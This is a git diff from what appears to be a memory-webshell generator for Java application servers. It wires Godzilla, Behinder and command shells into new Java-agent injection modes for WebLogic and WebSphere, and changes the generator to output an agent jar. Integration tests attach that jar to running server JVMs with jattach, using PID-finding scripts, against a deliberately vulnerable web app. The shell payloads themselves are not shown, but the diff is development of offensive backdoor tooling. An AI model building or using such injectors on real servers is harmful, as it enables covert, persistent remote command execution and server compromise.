diff --git a/build.gradle b/build.gradle index d5f7824b..9c93b322 100644 --- a/build.gradle +++ b/build.gradle @@ -10,7 +10,6 @@ allprojects { idea { module { - excludeDirs -= file('build') excludeDirs += file('src') } } diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index d2ee264e..900aea50 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,6 +1,8 @@ package com.reajason.javaweb; import com.reajason.javaweb.memshell.AbstractShell; +import com.reajason.javaweb.memshell.JettyShell; +import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; @@ -10,6 +12,8 @@ import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; /** * @author ReaJason @@ -19,9 +23,9 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Apusic) - .shellTool(ShellTool.Godzilla) - .shellType(Constants.SERVLET) + .server(Server.Jetty) + .shellTool(ShellTool.Command) + .shellType(JettyShell.AGENT_HANDLER) .targetJreVersion(Opcodes.V1_6) .debug(true) .build(); @@ -39,12 +43,12 @@ public class GeneratorMain { InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig); + GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig); if (generateResult != null) { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); - System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult)); +// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); + Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index ee3692cb..572729c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -10,12 +11,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; -import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.injector.*; import org.apache.commons.lang3.tuple.Pair; @@ -45,8 +46,8 @@ public class TomcatShell extends AbstractShell { Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)), Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), - Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), - Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)), Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)) ); } @@ -62,8 +63,8 @@ public class TomcatShell extends AbstractShell { JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), - AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class), - AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class) + AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class) ); } @@ -78,8 +79,8 @@ public class TomcatShell extends AbstractShell { JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), - AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class), - AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class) + AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class) ); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java index 910109d8..4a366917 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletStubAgentInjector; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*; * @since 2024/12/24 */ public class WebLogicShell extends AbstractShell { + public static final String AGENT_SERVLET_STUB = AGENT + "ServletStub"; + @Override protected Map, Class>> getBehinderShellMap() { return Map.of( SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class), FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class), - LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class) + LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class), + AGENT_SERVLET_STUB, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class) ); } @@ -37,7 +44,8 @@ public class WebLogicShell extends AbstractShell { return Map.of( SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class), FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class), - LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class) + LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class), + AGENT_SERVLET_STUB, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class) ); } @@ -46,7 +54,8 @@ public class WebLogicShell extends AbstractShell { return Map.of( SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class), FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class), - LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class) + LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class), + AGENT_SERVLET_STUB, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class) ); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java index dd1bd754..a08b4d95 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; import com.reajason.javaweb.memshell.websphere.command.CommandListener; import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector; import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector; import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector; @@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*; * @since 2024/12/21 */ public class WebSphereShell extends AbstractShell { + public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager"; + @Override protected Map, Class>> getCommandShellMap() { return Map.of( SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class), FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class), - LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class) + LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class), + AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class) ); } @@ -37,7 +44,8 @@ public class WebSphereShell extends AbstractShell { return Map.of( SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class), FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class), - LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class) + LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class), + AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class) ); } @@ -46,7 +54,8 @@ public class WebSphereShell extends AbstractShell { return Map.of( SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class), FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class), - LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class) + LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class), + AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class) ); } } diff --git a/integration-test/docker-compose/weblogic/docker-compose-12214.yaml b/integration-test/docker-compose/weblogic/docker-compose-12214.yaml new file mode 100644 index 00000000..eb98062a --- /dev/null +++ b/integration-test/docker-compose/weblogic/docker-compose-12214.yaml @@ -0,0 +1,11 @@ +services: + weblogic12214: + image: reajason/weblogic:12.2.1.4 + container_name: weblogic12214 + ports: + - "7001:7001" + - "5005:5005" + environment: + JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n" + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/script/weblogic_pid.sh b/integration-test/script/weblogic_pid.sh new file mode 100755 index 00000000..f690f8a4 --- /dev/null +++ b/integration-test/script/weblogic_pid.sh @@ -0,0 +1,12 @@ +#!/bin/bash +pid="" + +if command -v ps &> /dev/null; then + pid=$(ps -ef | grep weblogic | grep -v grep | awk '{print $2}') +fi + +if [ -z "$pid" ]; then + pid=$(jps 2>/dev/null | grep " Server" | awk '{print $1}') +fi + +echo "$pid" | tr -d '\n' \ No newline at end of file diff --git a/integration-test/script/websphere_pid.sh b/integration-test/script/websphere_pid.sh new file mode 100755 index 00000000..44148d59 --- /dev/null +++ b/integration-test/script/websphere_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ps -ef | grep WSLauncher | grep -v grep | awk '{print $2}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index ba68ea0c..97cfbbb0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -24,6 +24,8 @@ public class ContainerTool { public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); + public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh")); + public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh")); public static String getUrl(GenericContainer container) { String host = container.getHost(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index be09d8bc..6637d1e5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -16,7 +16,10 @@ import org.testcontainers.utility.MountableFile; import java.nio.file.Files; import java.nio.file.Path; -import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; /** * @author ReaJason @@ -51,11 +54,15 @@ public class ShellAssertionTool { Path tempJar = Files.createTempFile("temp", "jar"); Files.write(tempJar, bytes); String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; - container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath); + container.copyFileToContainer(MountableFile.forHostPath(tempJar, 644), jarPath); FileUtils.deleteQuietly(tempJar.toFile()); String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout(); + assertDoesNotThrow(() -> Long.parseLong(pidInContainer)); String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); - assertTrue(stdout.contains("JVM response code = 0")); + assertThat(stdout, anyOf( + containsString("ATTACH_ACK"), + containsString("JVM response code = 0") + )); } else { content = packer.getPacker().pack(generateResult); assertInjectIsOk(url, shellType, shellTool, content, packer, container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 08d1e8b8..8270a97a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.integration.weblogic; +import com.reajason.javaweb.memshell.WebLogicShell; +import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.junit.jupiter.params.provider.Arguments.arguments; @@ -32,6 +34,8 @@ public class WebLogic1036ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(weblogicPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(7001); @@ -45,19 +49,23 @@ public class WebLogic1036ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 71d4ce37..f4331cfb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.weblogic; +import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -34,6 +35,8 @@ public class WebLogic12214ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(weblogicPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(7001); @@ -47,7 +50,10 @@ public class WebLogic12214ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -60,7 +66,7 @@ public class WebLogic12214ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index 7e116e46..03bcf972 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.weblogic; +import com.reajason.javaweb.memshell.WebLogicShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -34,6 +35,8 @@ public class WebLogic14110ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(weblogicPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(7001); @@ -47,7 +50,10 @@ public class WebLogic14110ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -60,7 +66,7 @@ public class WebLogic14110ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index bbb5f24f..e102cba8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.websphere; +import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +37,8 @@ public class WebSphere855ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .withExposedPorts(9080) .withPrivilegedMode(true); @@ -50,7 +53,11 @@ public class WebSphere855ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + ); } @@ -64,7 +71,7 @@ public class WebSphere855ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 169e725f..128f4a86 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.websphere; +import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +37,8 @@ public class WebSphere905ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .withExposedPorts(9080) .withPrivilegedMode(true); @@ -50,7 +53,10 @@ public class WebSphere905ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) 